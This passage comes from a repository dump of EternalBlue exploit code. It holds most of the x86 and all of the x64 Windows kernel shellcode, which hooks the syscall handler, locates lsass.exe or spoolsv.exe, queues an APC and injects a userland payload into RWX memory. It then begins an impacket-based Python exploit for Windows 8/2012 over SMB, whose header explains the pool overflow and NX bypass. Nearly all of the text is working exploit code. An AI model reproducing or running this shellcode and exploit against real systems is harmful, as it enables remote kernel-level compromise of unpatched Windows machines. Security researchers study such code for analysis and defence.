Return: eax = offset 395 | ;======================================================================== 396 | get_proc_addr: 397 | pushad 398 | 399 | mov ebp, [ebp+DATA_MODULE_ADDR_OFFSET] ; ebp = module address 400 | xchg edi, eax ; edi = hash 401 | 402 | mov eax, dword [ebp+0x3c] ; Get PE header e_lfanew 403 | mov edx, dword [ebp+eax+0x78] ; Get export tables RVA 404 | 405 | add edx, ebp ; edx = EAT 406 | 407 | mov ecx, dword [edx+0x18] ; NumberOfFunctions 408 | mov ebx, dword [edx+0x20] ; FunctionNames 409 | add ebx, ebp 410 | 411 | _get_proc_addr_get_next_func: 412 | ; When we reach the start of the EAT (we search backwards), we hang or crash 413 | dec ecx ; decrement NumberOfFunctions 414 | mov esi, dword [ebx+ecx*4] ; Get rva of next module name 415 | add esi, ebp ; Add the modules base address 416 | 417 | call calc_hash 418 | 419 | cmp eax, edi ; Compare the hashes 420 | jnz _get_proc_addr_get_next_func ; try the next function 421 | 422 | _get_proc_addr_finish: 423 | mov ebx, dword [edx+0x24] 424 | add ebx, ebp ; ordinate table virtual address 425 | mov cx, word [ebx+ecx*2] ; desired functions ordinal 426 | mov ebx, dword [edx+0x1c] ; Get the function addresses table rva 427 | add ebx, ebp ; Add the modules base address 428 | mov eax, dword [ebx+ecx*4] ; Get the desired functions RVA 429 | add eax, ebp ; Add the modules base address to get the functions actual VA 430 | 431 | mov [esp+0x1c], eax 432 | popad 433 | ret 434 | 435 | ;======================================================================== 436 | ; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode. 437 | ; 438 | ; Argument: esi = string to hash 439 | ; Clobber: esi 440 | ; Return: eax = hash 441 | ;======================================================================== 442 | calc_hash: 443 | push edx 444 | xor eax, eax 445 | cdq 446 | _calc_hash_loop: 447 | lodsb ; Read in the next byte of the ASCII string 448 | ror edx, 13 ; Rotate right our hash value 449 | add edx, eax ; Add the next byte of the string 450 | test eax, eax ; Stop when found NULL 451 | jne _calc_hash_loop 452 | xchg edx, eax 453 | pop edx 454 | ret 455 | 456 | 457 | 458 | ; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context. 459 | ; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery(). 460 | ; Moreover, there is no lock when calling KernelApcRoutine. 461 | ; 462 | ; VOID KernelApcRoutine( 463 | ; IN PKAPC Apc, 464 | ; IN PKNORMAL_ROUTINE *NormalRoutine, 465 | ; IN PVOID *NormalContext, 466 | ; IN PVOID *SystemArgument1, 467 | ; IN PVOID *SystemArgument2) 468 | kernel_kapc_routine: 469 | ; reorder stack to make everything easier 470 | pop eax 471 | mov [esp+0x10], eax ; move saved eip to &SystemArgument2 472 | pop eax ; PKAPC (unused) 473 | pop ecx ; &NormalRoutine 474 | pop eax ; &NormalContext 475 | pop edx ; &SystemArgument1 476 | 477 | pushad 478 | push edx ; &SystemArgument1 (use for set CreateThread address) 479 | push ecx ; &NormalRoutine 480 | 481 | mov ebp, [eax] ; *NormalContext is our data area pointer 482 | 483 | ;====================================== 484 | ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40) 485 | ;====================================== 486 | xor eax, eax 487 | mov byte [fs:0x24], al ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires) 488 | cdq 489 | 490 | mov al, 0x40 ; eax = 0x40 491 | push eax ; PAGE_EXECUTE_READWRITE = 0x40 492 | shl eax, 6 ; eax = 0x40 << 6 = 0x1000 493 | push eax ; MEM_COMMIT = 0x1000 494 | push esp ; &RegionSize = 0x1000 (reuse MEM_COMMIT argument in stack) 495 | push edx ; ZeroBits 496 | mov [ecx], edx 497 | push ecx ; baseAddr = 0 498 | dec edx 499 | push edx ; ProcessHandle = -1 500 | mov eax, ZWALLOCATEVIRTUALMEMORY_HASH 501 | call win_api_direct 502 | %ifndef COMPACT 503 | test eax, eax 504 | jnz _kernel_kapc_routine_exit 505 | %endif 506 | 507 | ;====================================== 508 | ; copy userland payload 509 | ;====================================== 510 | pop eax 511 | mov edi, [eax] 512 | call _kernel_kapc_routine_find_userland 513 | _kernel_kapc_routine_find_userland: 514 | pop esi 515 | add esi, userland_start-_kernel_kapc_routine_find_userland 516 | mov ecx, 0x400 ; fix payload size to 1024 bytes 517 | rep movsb 518 | 519 | ;====================================== 520 | ; find current PEB 521 | ;====================================== 522 | mov eax, [ebp+DATA_EPROCESS_OFFSET] 523 | push eax 524 | mov eax, PSGETPROCESSPEB_HASH 525 | call win_api_direct 526 | 527 | ;====================================== 528 | ; find CreateThread address (in kernel32.dll) 529 | ;====================================== 530 | mov eax, [eax + 0xc] ; PEB->Ldr 531 | mov eax, [eax + 0x14] ; InMemoryOrderModuleList 532 | 533 | %ifdef COMPACT 534 | mov esi, [eax] ; first one always be executable, skip it 535 | lodsd ; skip ntdll.dll 536 | %else 537 | _find_kernel32_dll_loop: 538 | mov eax, [eax] ; first one always be executable 539 | ; offset 0x1c (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll) 540 | ; offset 0x24 (WORD) => must be 0x18 (name len kernel32.dll) 541 | ; offset 0x28 => is name 542 | ; offset 0x10 => is dllbase 543 | ;cmp word [eax+0x1c], 0x40 544 | ;jne _find_kernel32_dll_loop 545 | cmp word [eax+0x24], 0x18 546 | jne _find_kernel32_dll_loop 547 | 548 | mov edx, [eax+0x28] 549 | ; check only "32" because name might be lowercase or uppercase 550 | cmp dword [edx+0xc], 0x00320033 ; 3\x002\x00 551 | jnz _find_kernel32_dll_loop 552 | %endif 553 | 554 | mov ebx, [eax+0x10] 555 | mov [ebp+DATA_MODULE_ADDR_OFFSET], ebx 556 | mov eax, CREATETHREAD_HASH 557 | call get_proc_addr 558 | 559 | ; save CreateThread address to SystemArgument1 560 | pop ecx 561 | mov [ecx], eax 562 | 563 | _kernel_kapc_routine_exit: 564 | xor eax, eax 565 | ; clear queueing kapc flag, allow other hijacked system call to run shellcode 566 | mov byte [ebp+DATA_QUEUEING_KAPC_OFFSET], al 567 | ; restore IRQL to APC_LEVEL 568 | inc eax 569 | mov byte [fs:0x24], al 570 | 571 | popad 572 | ret 573 | 574 | 575 | userland_start: 576 | userland_start_thread: 577 | ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL) 578 | pop edx ; saved eip 579 | pop eax ; first argument (NormalContext) 580 | pop eax ; CreateThread address passed from kernel 581 | pop ecx ; another argument (NULL) passed from kernel 582 | push ecx ; lpThreadId = NULL 583 | push ecx ; dwCreationFlags = 0 584 | push ecx ; lpParameter = NULL 585 | call _userland_start_thread_find_payload 586 | _userland_start_thread_find_payload: 587 | add dword [esp], userland_payload-_userland_start_thread_find_payload ; lpStartAddr 588 | push ecx ; dwStackSize = 0 589 | push ecx ; lpThreadAttributes = NULL 590 | push edx ; restore saved eip 591 | jmp eax 592 | 593 | userland_payload: -------------------------------------------------------------------------------- /shellcode/eternalblue_kshellcode_x64.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya 3 | ; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py and eternalblue_exploit8.py 4 | ; 5 | ; 6 | ; Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0) 7 | ; 8 | ; 9 | ; Note: 10 | ; - The userland shellcode is run in a new thread of system process. 11 | ; If userland shellcode causes any exception, the system process get killed. 12 | ; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to 13 | ; get call because system call is called on other processors. 14 | ; - The shellcode do not allocate shadow stack if possible for minimal shellcode size. 15 | ; It is ok because some Windows function does not require shadow stack. 16 | ; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed. 17 | ; - The userland payload MUST be appened to this shellcode. 18 | ; 19 | ; Reference: 20 | ; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info) 21 | ; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c 22 | 23 | BITS 64 24 | ORG 0 25 | 26 | 27 | PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78 28 | PSGETPROCESSID_HASH EQU 0x170114e1 29 | PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f 30 | LSASS_EXE_HASH EQU 0xc1fa6a5a 31 | SPOOLSV_EXE_HASH EQU 0x3ee083d8 32 | ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea 33 | PSGETTHREADTEB_HASH EQU 0xcef84c3e 34 | KEINITIALIZEAPC_HASH EQU 0x6d195cc4 35 | KEINSERTQUEUEAPC_HASH EQU 0xafcc4634 36 | PSGETPROCESSPEB_HASH EQU 0xb818b848 37 | CREATETHREAD_HASH EQU 0x835e515e 38 | 39 | 40 | 41 | DATA_PEB_ADDR_OFFSET EQU -0x10 42 | DATA_QUEUEING_KAPC_OFFSET EQU -0x8 43 | DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0 44 | DATA_NT_KERNEL_ADDR_OFFSET EQU 0x8 45 | DATA_KAPC_OFFSET EQU 0x10 46 | 47 | section .text 48 | global shellcode_start 49 | 50 | shellcode_start: 51 | 52 | setup_syscall_hook: 53 | ; IRQL is DISPATCH_LEVEL when got code execution 54 | 55 | %ifdef WIN7 56 | mov rdx, [rsp+0x40] ; fetch SRVNET_BUFFER address from function argument 57 | ; set nByteProcessed to free corrupted buffer after return 58 | mov ecx, [rdx+0x2c] 59 | mov [rdx+0x38], ecx 60 | %elifdef WIN8 61 | mov rdx, [rsp+0x40] ; fetch SRVNET_BUFFER address from function argument 62 | ; fix pool pointer (rcx is -0x8150 from controlled argument value) 63 | add rcx, rdx 64 | mov [rdx+0x30], rcx 65 | ; set nByteProcessed to free corrupted buffer after return 66 | mov ecx, [rdx+0x48] 67 | mov [rdx+0x40], ecx 68 | %endif 69 | 70 | push rbp 71 | 72 | call set_rbp_data_address_fn 73 | 74 | ; read current syscall 75 | mov ecx, 0xc0000082 76 | rdmsr 77 | ; do NOT replace saved original syscall address with hook syscall 78 | lea r9, [rel syscall_hook] 79 | cmp eax, r9d 80 | je _setup_syscall_hook_done 81 | 82 | ; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize 83 | cmp dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET], eax 84 | je _hook_syscall 85 | 86 | ; save original syscall 87 | mov dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET+4], edx 88 | mov dword [rbp+DATA_ORIGIN_SYSCALL_OFFSET], eax 89 | 90 | ; first time on the target 91 | mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], 0 92 | 93 | _hook_syscall: 94 | ; set a new syscall on running processor 95 | ; setting MSR 0xc0000082 affects only running processor 96 | xchg r9, rax 97 | push rax 98 | pop rdx ; mov rdx, rax 99 | shr rdx, 32 100 | wrmsr 101 | 102 | _setup_syscall_hook_done: 103 | pop rbp 104 | 105 | %ifdef WIN7 106 | xor eax, eax 107 | %elifdef WIN8 108 | xor eax, eax 109 | %endif 110 | ret 111 | 112 | ;======================================================================== 113 | ; Find memory address in HAL heap for using as data area 114 | ; Return: rbp = data address 115 | ;======================================================================== 116 | set_rbp_data_address_fn: 117 | ; On idle target without user application, syscall on hijacked processor might not be called immediately. 118 | ; Find some address to store the data, the data in this address MUST not be modified 119 | ; when exploit is rerun before syscall is called 120 | lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000] 121 | _set_rbp_data_address_fn_next: 122 | shr rbp, 12 123 | shl rbp, 12 124 | sub rbp, 0x70 ; for KAPC struct too 125 | ret 126 | 127 | 128 | syscall_hook: 129 | swapgs 130 | mov qword [gs:0x10], rsp 131 | mov rsp, qword [gs:0x1a8] 132 | push 0x2b 133 | push qword [gs:0x10] 134 | 135 | push rax ; want this stack space to store original syscall addr 136 | ; save rax first to make this function continue to real syscall 137 | push rax 138 | push rbp ; save rbp here because rbp is special register for accessing this shellcode data 139 | call set_rbp_data_address_fn 140 | mov rax, [rbp+DATA_ORIGIN_SYSCALL_OFFSET] 141 | add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler 142 | mov [rsp+0x10], rax 143 | 144 | ; save all volatile registers 145 | push rcx 146 | push rdx 147 | push r8 148 | push r9 149 | push r10 150 | push r11 151 | 152 | ; use lock cmpxchg for queueing APC only one at a time 153 | xor eax, eax 154 | mov dl, 1 155 | lock cmpxchg byte [rbp+DATA_QUEUEING_KAPC_OFFSET], dl 156 | jnz _syscall_hook_done 157 | 158 | ;====================================== 159 | ; restore syscall 160 | ;====================================== 161 | ; an error after restoring syscall should never occur 162 | mov ecx, 0xc0000082 163 | mov eax, [rbp+DATA_ORIGIN_SYSCALL_OFFSET] 164 | mov edx, [rbp+DATA_ORIGIN_SYSCALL_OFFSET+4] 165 | wrmsr 166 | 167 | ; allow interrupts while executing shellcode 168 | sti 169 | call r3_to_r0_start 170 | cli 171 | 172 | _syscall_hook_done: 173 | pop r11 174 | pop r10 175 | pop r9 176 | pop r8 177 | pop rdx 178 | pop rcx 179 | pop rbp 180 | pop rax 181 | ret 182 | 183 | r3_to_r0_start: 184 | ; save used non-volatile registers 185 | push r15 186 | push r14 187 | push rdi 188 | push rsi 189 | push rbx 190 | push rax ; align stack by 0x10 191 | 192 | ;====================================== 193 | ; find nt kernel address 194 | ;====================================== 195 | mov r15, qword [rbp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiSystemCall64 is an address in nt kernel 196 | shr r15, 0xc ; strip to page size 197 | shl r15, 0xc 198 | 199 | _x64_find_nt_walk_page: 200 | sub r15, 0x1000 ; walk along page size 201 | cmp word [r15], 0x5a4d ; 'MZ' header 202 | jne _x64_find_nt_walk_page 203 | 204 | ; save nt address for using in KernelApcRoutine 205 | mov [rbp+DATA_NT_KERNEL_ADDR_OFFSET], r15 206 | 207 | ;====================================== 208 | ; get current EPROCESS and ETHREAD 209 | ;====================================== 210 | mov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR 211 | mov edi, PSGETCURRENTPROCESS_HASH 212 | call win_api_direct 213 | xchg rcx, rax ; rcx = EPROCESS 214 | 215 | ; r15 : nt kernel address 216 | ; r14 : ETHREAD 217 | ; rcx : EPROCESS 218 | 219 | ;====================================== 220 | ; find offset of EPROCESS.ImageFilename 221 | ;====================================== 222 | mov edi, PSGETPROCESSIMAGEFILENAME_HASH 223 | call get_proc_addr 224 | mov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f) 225 | mov ebx, eax ; ebx = offset of EPROCESS.ImageFilename 226 | 227 | 228 | ;====================================== 229 | ; find offset of EPROCESS.ThreadListHead 230 | ;====================================== 231 | ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+) 232 | ; if offset of ImageFilename is more than 0x400, current is (Win8+) 233 | %ifdef WIN7 234 | lea rdx, [rax+0x28] 235 | %elifdef WIN8 236 | lea rdx, [rax+0x38] 237 | %else 238 | cmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename 239 | jb _find_eprocess_threadlist_offset_win7 240 | add eax, 0x10 241 | _find_eprocess_threadlist_offset_win7: 242 | lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead 243 | %endif 244 | 245 | 246 | ;====================================== 247 | ; find offset of ETHREAD.ThreadListEntry 248 | ;====================================== 249 | %ifdef COMPACT 250 | lea r9, [rcx+rdx] ; r9 = ETHREAD listEntry 251 | %else 252 | lea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead 253 | mov r9, r8 254 | %endif 255 | ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700 256 | _find_ethread_threadlist_offset_loop: 257 | mov r9, qword [r9] 258 | %ifndef COMPACT 259 | cmp r8, r9 ; check end of list 260 | je _insert_queue_apc_done ; not found !!! 261 | %endif 262 | ; if (r9 - r14 < 0x700) found 263 | mov rax, r9 264 | sub rax, r14 265 | cmp rax, 0x700 266 | ja _find_ethread_threadlist_offset_loop 267 | sub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry) 268 | 269 | 270 | ;====================================== 271 | ; find offset of EPROCESS.ActiveProcessLinks 272 | ;====================================== 273 | mov edi, PSGETPROCESSID_HASH 274 | call get_proc_addr 275 | mov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f) 276 | add edi, 8 ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId) 277 | 278 | 279 | ;====================================== 280 | ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock 281 | ;====================================== 282 | ; check process name 283 | _find_target_process_loop: 284 | lea rsi, [rcx+rbx] 285 | call calc_hash 286 | cmp eax, LSASS_EXE_HASH ; "lsass.exe" 287 | %ifndef COMPACT 288 | jz found_target_process 289 | cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe" 290 | %endif 291 | jz found_target_process 292 | ; next process 293 | mov rcx, [rcx+rdi] 294 | sub rcx, rdi 295 | jmp _find_target_process_loop 296 | 297 | 298 | found_target_process: 299 | ; The allocation for userland payload will be in KernelApcRoutine. 300 | ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess() 301 | 302 | ;====================================== 303 | ; save process PEB for finding CreateThread address in kernel KAPC routine 304 | ;====================================== 305 | mov edi, PSGETPROCESSPEB_HASH 306 | ; rcx is EPROCESS. no need to set it. 307 | call win_api_direct 308 | mov [rbp+DATA_PEB_ADDR_OFFSET], rax 309 | 310 | 311 | ;====================================== 312 | ; iterate ThreadList until KeInsertQueueApc() success 313 | ;====================================== 314 | ; r15 = nt 315 | ; r14 = -(offset of ETHREAD.ThreadListEntry) 316 | ; rcx = EPROCESS 317 | ; edx = offset of EPROCESS.ThreadListHead 318 | 319 | %ifdef COMPACT 320 | lea rbx, [rcx + rdx] 321 | %else 322 | lea rsi, [rcx + rdx] ; rsi = ThreadListHead address 323 | mov rbx, rsi ; use rbx for iterating thread 324 | %endif 325 | 326 | 327 | ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset. 328 | ; Moreover, alertable thread need to be waiting state which is more difficult to check. 329 | ; try queueing APC then check KAPC member is more reliable. 330 | 331 | _insert_queue_apc_loop: 332 | ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front 333 | mov rbx, [rbx+8] 334 | %ifndef COMPACT 335 | cmp rsi, rbx 336 | je _insert_queue_apc_loop ; skip list head 337 | %endif 338 | 339 | ; find start of ETHREAD address 340 | ; set it to rdx to be used for KeInitializeApc() argument too 341 | lea rdx, [rbx + r14] ; ETHREAD 342 | 343 | ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer. 344 | ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL. 345 | ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer. 346 | ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL. 347 | ; Teb member is next to Queue member. 348 | mov edi, PSGETTHREADTEB_HASH 349 | call get_proc_addr 350 | mov eax, dword [rax+3] ; get offset from code (offset of Teb is always > 0x7f) 351 | cmp qword [rdx+rax-8], 0 ; KTHREAD.Queue MUST not be NULL 352 | je _insert_queue_apc_loop 353 | 354 | ; KeInitializeApc(PKAPC, 355 | ; PKTHREAD, 356 | ; KAPC_ENVIRONMENT = OriginalApcEnvironment (0), 357 | ; PKKERNEL_ROUTINE = kernel_apc_routine, 358 | ; PKRUNDOWN_ROUTINE = NULL, 359 | ; PKNORMAL_ROUTINE = userland_shellcode, 360 | ; KPROCESSOR_MODE = UserMode (1), 361 | ; PVOID Context); 362 | lea rcx, [rbp+DATA_KAPC_OFFSET] ; PAKC 363 | xor r8, r8 ; OriginalApcEnvironment 364 | lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine 365 | push rbp ; context 366 | push 1 ; UserMode 367 | push rbp ; userland shellcode (MUST NOT be NULL) 368 | push r8 ; NULL 369 | sub rsp, 0x20 ; shadow stack 370 | mov edi, KEINITIALIZEAPC_HASH 371 | call win_api_direct 372 | ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later 373 | 374 | ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0); 375 | ; SystemArgument1 is second argument in usermode code (rdx) 376 | ; SystemArgument2 is third argument in usermode code (r8) 377 | lea rcx, [rbp+DATA_KAPC_OFFSET] 378 | ;xor edx, edx ; no need to set it here 379 | ;xor r8, r8 ; no need to set it here 380 | xor r9, r9 381 | mov edi, KEINSERTQUEUEAPC_HASH 382 | call win_api_direct 383 | add rsp, 0x40 384 | ; if insertion failed, try next thread 385 | test eax, eax 386 | jz _insert_queue_apc_loop 387 | 388 | mov rax, [rbp+DATA_KAPC_OFFSET+0x10] ; get KAPC.ApcListEntry 389 | ; EPROCESS pointer 8 bytes 390 | ; InProgressFlags 1 byte 391 | ; KernelApcPending 1 byte 392 | ; if success, UserApcPending MUST be 1 393 | cmp byte [rax+0x1a], 1 394 | je _insert_queue_apc_done 395 | 396 | ; manual remove list without lock 397 | mov [rax], rax 398 | mov [rax+8], rax 399 | jmp _insert_queue_apc_loop 400 | 401 | _insert_queue_apc_done: 402 | ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine. 403 | 404 | _r3_to_r0_done: 405 | pop rax 406 | pop rbx 407 | pop rsi 408 | pop rdi 409 | pop r14 410 | pop r15 411 | ret 412 | 413 | ;======================================================================== 414 | ; Call function in specific module 415 | ; 416 | ; All function arguments are passed as calling normal function with extra register arguments 417 | ; Extra Arguments: r15 = module pointer 418 | ; edi = hash of target function name 419 | ;======================================================================== 420 | win_api_direct: 421 | call get_proc_addr 422 | jmp rax 423 | 424 | 425 | ;======================================================================== 426 | ; Get function address in specific module 427 | ; 428 | ; Arguments: r15 = module pointer 429 | ; edi = hash of target function name 430 | ; Return: eax = offset 431 | ;======================================================================== 432 | get_proc_addr: 433 | ; Save registers 434 | push rbx 435 | push rcx 436 | push rsi ; for using calc_hash 437 | 438 | ; use rax to find EAT 439 | mov eax, dword [r15+60] ; Get PE header e_lfanew 440 | mov eax, dword [r15+rax+136] ; Get export tables RVA 441 | 442 | add rax, r15 443 | push rax ; save EAT 444 | 445 | mov ecx, dword [rax+24] ; NumberOfFunctions 446 | mov ebx, dword [rax+32] ; FunctionNames 447 | add rbx, r15 448 | 449 | _get_proc_addr_get_next_func: 450 | ; When we reach the start of the EAT (we search backwards), we hang or crash 451 | dec ecx ; decrement NumberOfFunctions 452 | mov esi, dword [rbx+rcx*4] ; Get rva of next module name 453 | add rsi, r15 ; Add the modules base address 454 | 455 | call calc_hash 456 | 457 | cmp eax, edi ; Compare the hashes 458 | jnz _get_proc_addr_get_next_func ; try the next function 459 | 460 | _get_proc_addr_finish: 461 | pop rax ; restore EAT 462 | mov ebx, dword [rax+36] 463 | add rbx, r15 ; ordinate table virtual address 464 | mov cx, word [rbx+rcx*2] ; desired functions ordinal 465 | mov ebx, dword [rax+28] ; Get the function addresses table rva 466 | add rbx, r15 ; Add the modules base address 467 | mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA 468 | add rax, r15 ; Add the modules base address to get the functions actual VA 469 | 470 | pop rsi 471 | pop rcx 472 | pop rbx 473 | ret 474 | 475 | ;======================================================================== 476 | ; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode. 477 | ; 478 | ; Argument: rsi = string to hash 479 | ; Clobber: rsi 480 | ; Return: eax = hash 481 | ;======================================================================== 482 | calc_hash: 483 | push rdx 484 | xor eax, eax 485 | cdq 486 | _calc_hash_loop: 487 | lodsb ; Read in the next byte of the ASCII string 488 | ror edx, 13 ; Rotate right our hash value 489 | add edx, eax ; Add the next byte of the string 490 | test eax, eax ; Stop when found NULL 491 | jne _calc_hash_loop 492 | xchg edx, eax 493 | pop rdx 494 | ret 495 | 496 | 497 | ; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context. 498 | ; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery(). 499 | ; Moreover, there is no lock when calling KernelApcRoutine. 500 | ; So KernelApcRoutine can simply lower the IRQL by setting cr8 register. 501 | ; 502 | ; VOID KernelApcRoutine( 503 | ; IN PKAPC Apc, 504 | ; IN PKNORMAL_ROUTINE *NormalRoutine, 505 | ; IN PVOID *NormalContext, 506 | ; IN PVOID *SystemArgument1, 507 | ; IN PVOID *SystemArgument2) 508 | kernel_kapc_routine: 509 | push rbp 510 | push rbx 511 | push rdi 512 | push rsi 513 | push r15 514 | 515 | mov rbp, [r8] ; *NormalContext is our data area pointer 516 | 517 | mov r15, [rbp+DATA_NT_KERNEL_ADDR_OFFSET] 518 | push rdx 519 | pop rsi ; mov rsi, rdx 520 | mov rbx, r9 521 | 522 | ;====================================== 523 | ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40) 524 | ;====================================== 525 | xor eax, eax 526 | mov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires) 527 | ; rdx is already address of baseAddr 528 | mov [rdx], rax ; baseAddr = 0 529 | mov ecx, eax 530 | not rcx ; ProcessHandle = -1 531 | mov r8, rax ; ZeroBits 532 | mov al, 0x40 ; eax = 0x40 533 | push rax ; PAGE_EXECUTE_READWRITE = 0x40 534 | shl eax, 6 ; eax = 0x40 << 6 = 0x1000 535 | push rax ; MEM_COMMIT = 0x1000 536 | ; reuse r9 for address of RegionSize 537 | mov [r9], rax ; RegionSize = 0x1000 538 | sub rsp, 0x20 ; shadow stack 539 | mov edi, ZWALLOCATEVIRTUALMEMORY_HASH 540 | call win_api_direct 541 | add rsp, 0x30 542 | %ifndef COMPACT 543 | ; check error 544 | test eax, eax 545 | jnz _kernel_kapc_routine_exit 546 | %endif 547 | 548 | ;====================================== 549 | ; copy userland payload 550 | ;====================================== 551 | mov rdi, [rsi] 552 | lea rsi, [rel userland_start] 553 | mov ecx, 0x600 ; fix payload size to 1536 bytes 554 | rep movsb 555 | 556 | ;====================================== 557 | ; find CreateThread address (in kernel32.dll) 558 | ;====================================== 559 | mov rax, [rbp+DATA_PEB_ADDR_OFFSET] 560 | mov rax, [rax + 0x18] ; PEB->Ldr 561 | mov rax, [rax + 0x20] ; InMemoryOrder list 562 | 563 | %ifdef COMPACT 564 | mov rsi, [rax] ; first one always be executable, skip it 565 | lodsq ; skip ntdll.dll 566 | %else 567 | _find_kernel32_dll_loop: 568 | mov rax, [rax] ; first one always be executable 569 | ; offset 0x38 (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll) 570 | ; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll) 571 | ; offset 0x50 => is name 572 | ; offset 0x20 => is dllbase 573 | ;cmp word [rax+0x38], 0x40 574 | ;jne _find_kernel32_dll_loop 575 | cmp word [rax+0x48], 0x18 576 | jne _find_kernel32_dll_loop 577 | 578 | mov rdx, [rax+0x50] 579 | ; check only "32" because name might be lowercase or uppercase 580 | cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00 581 | jnz _find_kernel32_dll_loop 582 | %endif 583 | 584 | mov r15, [rax+0x20] 585 | mov edi, CREATETHREAD_HASH 586 | call get_proc_addr 587 | 588 | ; save CreateThread address to SystemArgument1 589 | mov [rbx], rax 590 | 591 | _kernel_kapc_routine_exit: 592 | xor ecx, ecx 593 | ; clear queueing kapc flag, allow other hijacked system call to run shellcode 594 | mov byte [rbp+DATA_QUEUEING_KAPC_OFFSET], cl 595 | ; restore IRQL to APC_LEVEL 596 | mov cl, 1 597 | mov cr8, rcx 598 | 599 | pop r15 600 | pop rsi 601 | pop rdi 602 | pop rbx 603 | pop rbp 604 | ret 605 | 606 | 607 | userland_start: 608 | userland_start_thread: 609 | ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL) 610 | xchg rdx, rax ; rdx is CreateThread address passed from kernel 611 | xor ecx, ecx ; lpThreadAttributes = NULL 612 | push rcx ; lpThreadId = NULL 613 | push rcx ; dwCreationFlags = 0 614 | mov r9, rcx ; lpParameter = NULL 615 | lea r8, [rel userland_payload] ; lpStartAddr 616 | mov edx, ecx ; dwStackSize = 0 617 | sub rsp, 0x20 618 | call rax 619 | add rsp, 0x30 620 | ret 621 | 622 | userland_payload: -------------------------------------------------------------------------------- /eternalblue_exploit8.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from impacket import smb, ntlm 3 | from struct import pack 4 | import sys 5 | import socket 6 | 7 | ''' 8 | EternalBlue exploit for Windows 8 and 2012 by sleepya 9 | The exploit might FAIL and CRASH a target system (depended on what is overwritten) 10 | The exploit support only x64 target 11 | 12 | Tested on: 13 | - Windows 2012 R2 x64 14 | - Windows 8.1 x64 15 | 16 | 17 | Default Windows 8 and later installation without additional service info: 18 | - anonymous is not allowed to access any share (including IPC$) 19 | - More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows 20 | - tcp port 445 is filtered by firewall 21 | 22 | 23 | Reference: 24 | - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ 25 | - "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit 26 | 27 | 28 | Exploit info: 29 | - If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at 30 | https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same 31 | - The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000). 32 | On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP. 33 | - The exploit is likely to crash a target when it failed 34 | - The overflow is happened on nonpaged pool so we 